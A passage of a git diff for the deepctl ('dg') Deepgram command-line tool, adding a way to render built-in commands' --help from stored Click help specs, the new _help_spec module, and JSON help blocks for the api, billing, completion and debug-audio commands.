 E_DEPENDENCY = "{prog} {command_path} needs {dependency}, which isn't installed."
 H_DEPENDENCY_REINSTALL = "Reinstall {prog} with the tool you installed it with."
@@ -206,6 +215,46 @@ def _nothing_to_discover() -> bool:
     )
 
 
+def _only_builtin_subcommands(group: str) -> bool:
+    """Whether every ``deepctl.subcommands.<group>`` and
+    ``deepctl.subplugins.<group>`` entry point is a built-in subcommand's
+    own (same name, module and class as in the manifest).
+
+    A yes is remembered for the plugin stamp (``_cache.plugin_stamp``, the
+    one the discovery cache uses): reading every distribution's entry
+    points costs far more than the rest of the help.
+    """
+    from deepctl import _cache
+
+    try:
+        stamp: str | None = _cache.plugin_stamp()
+    except Exception:
+        stamp = None
+    if stamp is not None and _cache.read_builtin_only(stamp, group):
+        return True
+    if not _scan_builtin_only(group):
+        return False
+    if stamp is not None:
+        _cache.write_builtin_only(stamp, group)
+    return True
+
+
+def _scan_builtin_only(group: str) -> bool:
+    from importlib import metadata
+
+    builtins = {
+        name: f"{entry['module']}:{entry['attr']}"
+        for name, entry in _manifest.subcommands(group).items()
+    }
+    entry_points = metadata.entry_points()
+    for kind in ("subcommands", "subplugins"):
+        for entry_point in entry_points.select(group=f"deepctl.{kind}.{group}"):
+            value = entry_point.value.replace(" ", "")
+            if kind == "subplugins" or builtins.get(entry_point.name) != value:
+                return False
+    return True
+
+
 class LazyGroup(click.Group):
     """The root group: built-in commands come from the manifest and load on
     first use; plugins are discovered only when needed.
@@ -228,6 +277,8 @@ def __init__(self, *args: Any, **kwargs: Any) -> None:
         self._cached_plugins: dict[str, dict[str, Any]] = {}
         # Root help as rendered, and the program name it used (help cache).
         self.rendered_help: tuple[str, str] | None = None
+        # (name, command) when this run shows a built-in's help from its spec.
+        self.help_from_spec: tuple[str, click.Command] | None = None
 
     def _plugin_manager(self) -> PluginManager:
         if self._manager is None:
@@ -302,7 +353,53 @@ def _fill_subcommands(
             except Exception as exc:
                 _load_error("subcommand", f"{name} for {group_name}", exc)
 
+    def _help_command(
+        self, ctx: click.Context, args: list[str]
+    ) -> click.Command | None:
+        """The command to resolve when ``args`` (what follows the root
+        options) asks only for a built-in leaf's help, built from its help
+        spec without importing it; ``None`` takes the normal path.
+
+        Only for exactly ``<cmd> --help`` or ``<group> <sub> --help``, a
+        leaf with a spec, not listed (nor its group) in
+        ``plugins.allow_override``, outside ``DEEPCTL_EAGER_LOAD``. For a
+        subcommand, every entry point the group would scan must be the
+        built-in's own: the normal path imports and vets those, and a
+        plugin's would print there. Group help always takes the normal
+        path, which lists plugin subcommands.
+        """
+        if self.eager or ctx.parent is not None or ctx.resilient_parsing:
+            return None
+        if eager_load_requested() or args[-1:] != ["--help"]:
+            return None
+        path = args[:-1]
+        if len(path) not in (1, 2) or path[0] not in _manifest.top_level():
+            return None
+        if path[0] in self.commands:
+            return None
+        if len(path) == 2 and path[1] not in _manifest.subcommands(path[0]):
+            return None
+        if self._overridden(path[0]) or self._overridden(" ".join(path)):
+            return None
+        from deepctl import _help_spec
+
+        spec = _manifest.help_spec(path[0])
+        if spec is None:
+            return None
+        if len(path) == 1:
+            return None if spec.get("group") else _help_spec.from_spec(spec)
+        sub = _manifest.help_spec(" ".join(path))
+        if sub is None or sub.get("group") or not spec.get("group"):
+            return None
+        if not _only_builtin_subcommands(path[0]):
+            return None
+        group = cast("click.Group", _help_spec.from_spec(spec))
+        group.add_command(_help_spec.from_spec(sub), name=path[1])
+        return group
+
     def get_command(self, ctx: click.Context, cmd_name: str) -> click.Command | None:
+        if self.help_from_spec is not None and self.help_from_spec[0] == cmd_name:
+            return self.help_from_spec[1]
         command = self.commands.get(cmd_name)
         if command is not None or self.eager:
             return command
@@ -383,7 +480,13 @@ def get_help(self, ctx: click.Context) -> str:
     def resolve_command(
         self, ctx: click.Context, args: list[str]
     ) -> tuple[str | None, click.Command | None, list[str]]:
+        if ctx.parent is None:
+            self.help_from_spec = None
         if args:
+            command = self._help_command(ctx, args)
+            if command is not None:
+                self.help_from_spec = (args[0], command)
+                return super().resolve_command(ctx, args)
             args = self._expand_command_word(ctx, args)
         if args[:2] == ["plugin", "list"]:
             # 0.4.x loaded (and vetted) every plugin before `plugin list`.
@@ -725,9 +828,17 @@ def cli(
         ctx.ensure_object(dict)
         from deepctl_core import Config
 
+        # Help from a spec runs no command: only the files' checks and
+        # notices are needed, not the settings (no pydantic).
+        scan_only = isinstance(ctx.command, LazyGroup) and (
+            ctx.command.help_from_spec is not None
+        )
         try:
             ctx.obj["config"] = Config(
-                config_path=config, profile=profile, base_url=base_url
+                config_path=config,
+                profile=profile,
+                base_url=base_url,
+                scan_only=scan_only,
             )
         except OSError:
             # An unreadable HOME must not block `dg <cmd> --help`.
@@ -735,6 +846,7 @@ def cli(
             if not _help_requested():
                 raise
             ctx.obj["config"] = None
+            ctx.obj[HELP_WITHOUT_CONFIG] = True
         # Global --api-key passthrough (highest-precedence explicit credential).
         ctx.obj["api_key"] = api_key
         ctx.obj["timing"] = timing or timing_detailed
diff --git a/src/deepctl/_help_spec.py b/src/deepctl/_help_spec.py
new file mode 100644
index 00000000..32fc4a06
--- /dev/null
+++ b/src/deepctl/_help_spec.py
@@ -0,0 +1,262 @@
+"""A command's ``--help`` as data, and the command rebuilt from it.
+
+Each built-in fragment in ``deepctl/_manifest.d/`` carries a ``help`` block:
+the Click definition of its command as far as help text depends on it (the
+help with its examples, the parameters with their types, flags and
+metavars). ``python -m deepctl._manifest_build --write-help`` writes it with
+``to_spec()`` from the real command, built by ``PluginManager``; ``--check``
+fails when a block no longer matches. ``dg <cmd> --help`` builds a
+callback-less command with ``from_spec()`` and lets Click render it, so the
+width, program name and telemetry footer come out as for the real command.
+
+Only what help rendering reads is kept, and a command using a Click feature
+outside that set (a default shown in help, an environment variable, a
+custom parameter or command class) is refused by ``to_spec()`` rather than
+written incompletely.
+"""
+
+from __future__ import annotations
+
+from typing import Any
+
+import click
+
+# Help widths the generator renders each command at, real and rebuilt.
+CHECK_WIDTHS = (50, 80, 200)
+
+# Click's ParamType is generic from 8.5 on and plain before (the floor is
+# 8.2), so parameter types are annotated Any here.
+_NAMED_TYPES: dict[str, Any] = {
+    "text": click.STRING,
+    "integer": click.INT,
+    "float": click.FLOAT,
+    "boolean": click.BOOL,
+    "uuid": click.UUID,
+}
+
+
+class SpecError(ValueError):
+    """A command uses something a help spec can't carry."""
+
+
+def _type_spec(param_type: Any) -> dict[str, Any]:
+    if isinstance(param_type, click.Choice):
+        choices = list(param_type.choices)
+        if not all(isinstance(c, str) for c in choices):
+            raise SpecError("choices must be strings")
+        return {
+            "name": "choice",
+            "choices": choices,
+            "case_sensitive": bool(param_type.case_sensitive),
+        }
+    if isinstance(param_type, (click.IntRange, click.FloatRange)):
+        return {
+            "name": "float range"
+            if isinstance(param_type, click.FloatRange)
+            else "integer range",
+            "min": param_type.min,
+            "max": param_type.max,
+            "min_open": bool(param_type.min_open),
+            "max_open": bool(param_type.max_open),
+            "clamp": bool(param_type.clamp),
+        }
+    if isinstance(param_type, click.Path):
+        return {
+            "name": "path",
+            "exists": bool(param_type.exists),
+            "file_okay": bool(param_type.file_okay),
+            "dir_okay": bool(param_type.dir_okay),
+            "writable": bool(param_type.writable),
+            "readable": bool(param_type.readable),
+            "resolve_path": bool(param_type.resolve_path),
+            "allow_dash": bool(param_type.allow_dash),
+        }
+    if isinstance(param_type, click.File):
+        return {
+            "name": "file",
+            "mode": param_type.mode,
+            "encoding": param_type.encoding,
+            "lazy": param_type.lazy,
+            "atomic": bool(param_type.atomic),
+        }
+    if isinstance(param_type, click.types.FuncParamType):
+        return {"name": param_type.name, "func": True}
+    for name, named in _NAMED_TYPES.items():
+        if type(param_type) is type(named):
+            return {"name": name}
+    raise SpecError(f"unsupported parameter type {type(param_type).__name__}")
+
+
+def _param_spec(param: click.Parameter) -> dict[str, Any]:
+    if type(param) is click.Option:
+        kind = "option"
+    elif type(param) is click.Argument:
+        kind = "argument"
+    else:
+        raise SpecError(f"unsupported parameter class {type(param).__name__}")
+    if param.envvar or getattr(param, "deprecated", False):
+        raise SpecError(f"{param.name}: envvar and deprecated aren't supported")
+    spec: dict[str, Any] = {
+        "class": kind,
+        "name": param.name,
+        "opts": list(param.opts),
+        "secondary_opts": list(param.secondary_opts),
+        "type": _type_spec(param.type),
+        "required": bool(param.required),
+        "nargs": param.nargs,
+        "metavar": param.metavar,
+        "eager": bool(param.is_eager),
+        "expose": bool(param.expose_value),
+    }
+    if isinstance(param, click.Option):
+        if param.prompt or param.show_envvar or param.show_default:
+            raise SpecError(f"{param.name}: prompt, show_envvar and show_default")
+        if param.show_choices is not True:
+            raise SpecError(f"{param.name}: show_choices must stay on")
+        spec.update(
+            multiple=bool(param.multiple),
+            is_flag=bool(param.is_flag),
+            count=bool(param.count),
+            hidden=bool(param.hidden),
+            help=param.help,
+        )
+    return spec
+
+
+def to_spec(command: click.Command) -> dict[str, Any]:
+    """The help spec of ``command``. A group's spec describes the group
+    itself (it is the parent in ``dg <group> <sub> --help``); each of its
+    subcommands has its own fragment. A group's own help is never rendered
+    from a spec: it lists plugin subcommands too."""
+    if type(command) not in (click.Command, click.Group):
+        raise SpecError(f"unsupported command class {type(command).__name__}")
+    if command.context_settings or not command.add_help_option:
+        raise SpecError(f"{command.name}: context_settings or no --help option")
+    spec: dict[str, Any] = {
+        "name": command.name,
+        "help": command.help,
+        "short_help": command.short_help,
+        "epilog": command.epilog,
+        "hidden": bool(command.hidden),
+        "deprecated": command.deprecated,
+        "no_args_is_help": bool(command.no_args_is_help),
+        "options_metavar": command.options_metavar,
+        "params": [_param_spec(p) for p in command.params],
+    }
+    if isinstance(command, click.Group):
+        if command.chain:
+            raise SpecError(f"{command.name}: chained groups aren't supported")
+        spec["group"] = True
+        spec["subcommand_metavar"] = command.subcommand_metavar
+    return spec
+
+
+def _type_from(spec: dict[str, Any]) -> Any:
+    name = spec["name"]
+    if name == "choice":
+        return click.Choice(spec["choices"], case_sensitive=spec["case_sensitive"])
+    if name in ("integer range", "float range"):
+        cls = click.FloatRange if name == "float range" else click.IntRange
+        return cls(
+            spec["min"],
+            spec["max"],
+            min_open=spec["min_open"],
+            max_open=spec["max_open"],
+            clamp=spec["clamp"],
+        )
+    if name == "path":
+        return click.Path(
+            exists=spec["exists"],
+            file_okay=spec["file_okay"],
+            dir_okay=spec["dir_okay"],
+            writable=spec["writable"],
+            readable=spec["readable"],
+            resolve_path=spec["resolve_path"],
+            allow_dash=spec["allow_dash"],
+        )
+    if name == "file":
+        return click.File(
+            spec["mode"],
+            encoding=spec["encoding"],
+            lazy=spec["lazy"],
+            atomic=spec["atomic"],
+        )
+    if spec.get("func"):
+
+        def convert(value: Any) -> Any:
+            return value
+
+        convert.__name__ = name
+        return click.types.FuncParamType(convert)
+    return _NAMED_TYPES[name]
+
+
+def _param_from(spec: dict[str, Any]) -> click.Parameter:
+    common: dict[str, Any] = {
+        "required": spec["required"],
+        "nargs": spec["nargs"],
+        "metavar": spec["metavar"],
+        "is_eager": spec["eager"],
+        "expose_value": spec["expose"],
+    }
+    if spec["class"] == "argument":
+        return click.Argument(
+            [*spec["opts"][:1]], type=_type_from(spec["type"]), **common
+        )
+    opts, secondary = spec["opts"], spec["secondary_opts"]
+    decls = [f"{o}/{s}" for o, s in zip(opts, secondary, strict=False)]
+    decls += opts[len(secondary) :]
+    decls.append(spec["name"])
+    kwargs: dict[str, Any] = {
+        **common,
+        "multiple": spec["multiple"],
+        "is_flag": spec["is_flag"],
+        "count": spec["count"],
+        "hidden": spec["hidden"],
+        "help": spec["help"],
+    }
+    if not spec["is_flag"] or spec["type"]["name"] != "boolean":
+        kwargs["type"] = _type_from(spec["type"])
+    return click.Option(decls, **kwargs)
+
+
+def from_spec(spec: dict[str, Any]) -> click.Command:
+    """A command with no callback that renders the help ``spec`` describes."""
+    kwargs: dict[str, Any] = {
+        "help": spec["help"],
+        "short_help": spec["short_help"],
+        "epilog": spec["epilog"],
+        "hidden": spec["hidden"],
+        "deprecated": spec["deprecated"],
+        "no_args_is_help": spec["no_args_is_help"],
+        "options_metavar": spec["options_metavar"],
+        "params": [_param_from(p) for p in spec["params"]],
+    }
+    if spec.get("group"):
+        return click.Group(
+            spec["name"], subcommand_metavar=spec["subcommand_metavar"], **kwargs
+        )
+    return click.Command(spec["name"], **kwargs)
+
+
+def render(command: click.Command, width: int, parent: click.Context) -> str:
+    """``command``'s help as Click prints it under ``parent`` at ``width``."""
+    ctx = click.Context(
+        command, info_name=command.name, parent=parent, terminal_width=width
+    )
+    return command.get_help(ctx)
+
+
+def verify(command: click.Command, spec: dict[str, Any]) -> None:
+    """Raise ``SpecError`` unless the rebuilt command has the same spec and,
+    for a leaf, renders the same help as ``command`` at each
+    ``CHECK_WIDTHS`` width."""
+    rebuilt = from_spec(spec)
+    if to_spec(rebuilt) != spec:
+        raise SpecError(f"{command.name}: the spec doesn't round-trip")
+    if spec.get("group"):
+        return
+    root = click.Context(click.Group("dg"), info_name="dg")
+    for width in CHECK_WIDTHS:
+        if render(command, width, root) != render(rebuilt, width, root):
+            raise SpecError(f"{command.name}: help differs at width {width}")
diff --git a/src/deepctl/_manifest.d/api.json b/src/deepctl/_manifest.d/api.json
index 48ef6c08..92d24b52 100644
--- a/src/deepctl/_manifest.d/api.json
+++ b/src/deepctl/_manifest.d/api.json
@@ -5,5 +5,298 @@
   "dist": "deepctl-cmd-api",
   "summary": "Make API requests",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "api",
+    "help": "Make authenticated requests to Deepgram APIs\n\nExamples:\n  dg api /v1/projects\n  dg api -X POST /v1/projects -f name=MyProject\n  dg api /v1/projects --jq '.projects[0].name'\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Make API requests",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "allow_foreign_host",
+        "opts": [
+          "--allow-foreign-host"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Send your API key to this non-Deepgram host (must equal the request URL's host)"
+      },
+      {
+        "class": "option",
+        "name": "raw",
+        "opts": [
+          "--raw"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output raw response without formatting"
+      },
+      {
+        "class": "option",
+        "name": "jq",
+        "opts": [
+          "--jq"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "jq filter expression to apply to response"
+      },
+      {
+        "class": "option",
+        "name": "header",
+        "opts": [
+          "-H",
+          "--header"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": true,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Custom header as 'Key: Value'"
+      },
+      {
+        "class": "option",
+        "name": "input",
+        "opts": [
+          "--input"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Request body from file path or - for stdin"
+      },
+      {
+        "class": "option",
+        "name": "field",
+        "opts": [
+          "-f",
+          "--field"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": true,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Request body field as key=value (string) or key:=value (raw JSON)"
+      },
+      {
+        "class": "option",
+        "name": "method",
+        "opts": [
+          "-X",
+          "--method"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "HTTP method (default: GET)"
+      },
+      {
+        "class": "argument",
+        "name": "endpoint",
+        "opts": [
+          "endpoint"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": true,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/billing.json b/src/deepctl/_manifest.d/billing.json
index 93b20298..73b98ddf 100644
--- a/src/deepctl/_manifest.d/billing.json
+++ b/src/deepctl/_manifest.d/billing.json
@@ -5,5 +5,260 @@
   "dist": "deepctl-cmd-billing",
   "summary": "Billing info",
   "hidden": false,
-  "requires_auth": true
+  "requires_auth": true,
+  "help": {
+    "name": "billing",
+    "help": "View Deepgram billing and balances\n\nExamples:\n  dg billing\n  dg billing --balances\n  dg billing --breakdown --start 2025-01-01 --end 2025-01-31\n  dg billing --breakdown --grouping tags\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Billing info",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "project_id",
+        "opts": [
+          "--project-id",
+          "-p"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Project ID (uses configured project if not provided)"
+      },
+      {
+        "class": "option",
+        "name": "grouping",
+        "opts": [
+          "--grouping"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Grouping for breakdown (accessor, deployment, line_item, tags)"
+      },
+      {
+        "class": "option",
+        "name": "end",
+        "opts": [
+          "--end"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "End date for breakdown (YYYY-MM-DD)"
+      },
+      {
+        "class": "option",
+        "name": "start",
+        "opts": [
+          "--start"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Start date for breakdown (YYYY-MM-DD)"
+      },
+      {
+        "class": "option",
+        "name": "breakdown",
+        "opts": [
+          "--breakdown"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show billing breakdown"
+      },
+      {
+        "class": "option",
+        "name": "balances",
+        "opts": [
+          "--balances",
+          "-b"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show account balances"
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/completion.json b/src/deepctl/_manifest.d/completion.json
index 4549fe57..55872b21 100644
--- a/src/deepctl/_manifest.d/completion.json
+++ b/src/deepctl/_manifest.d/completion.json
@@ -5,5 +5,169 @@
   "dist": "deepctl-cmd-completion",
   "summary": "Generate shell completion",
   "hidden": false,
-  "requires_auth": false
+  "requires_auth": false,
+  "help": {
+    "name": "completion",
+    "help": "Generate shell completion script for bash, zsh, or fish\n\nExamples:\n  dg completion\n  dg completion bash\n  dg completion zsh\n  dg completion fish\n  eval \"$(dg completion bash)\"\n  dg completion zsh --install\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Generate shell completion",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "install",
+        "opts": [
+          "--install"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Append completion line to shell profile and exit"
+      },
+      {
+        "class": "argument",
+        "name": "shell",
+        "opts": [
+          "shell"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true
+      },
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
 }
diff --git a/src/deepctl/_manifest.d/debug-audio.json b/src/deepctl/_manifest.d/debug-audio.json
index f72e85b7..b3379854 100644
--- a/src/deepctl/_manifest.d/debug-audio.json
+++ b/src/deepctl/_manifest.d/debug-audio.json
@@ -9,5 +9,197 @@
   "requires_auth": false,
   "aliases": [
     "debug-audio"
-  ]
+  ],
+  "help": {
+    "name": "audio",
+    "help": "Debug audio file issues for Deepgram transcription\n\nExamples:\n  dg debug audio -f recording.wav\n  dg debug audio -f https://example.com/audio.mp3\n  dg debug audio -f podcast.mp3 --verbose\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Debug audio issues",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "ffprobe_args",
+        "opts": [
+          "--ffprobe-args"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "text"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Custom ffprobe arguments (e.g., '-show_streams -show_format')"
+      },
+      {
+        "class": "option",
+        "name": "extra_verbose",
+        "opts": [
+          "--extra-verbose",
+          "-vv"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show raw ffprobe output"
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Show detailed diagnostic information"
+      },
+      {
+        "class": "option",
+        "name": "file",
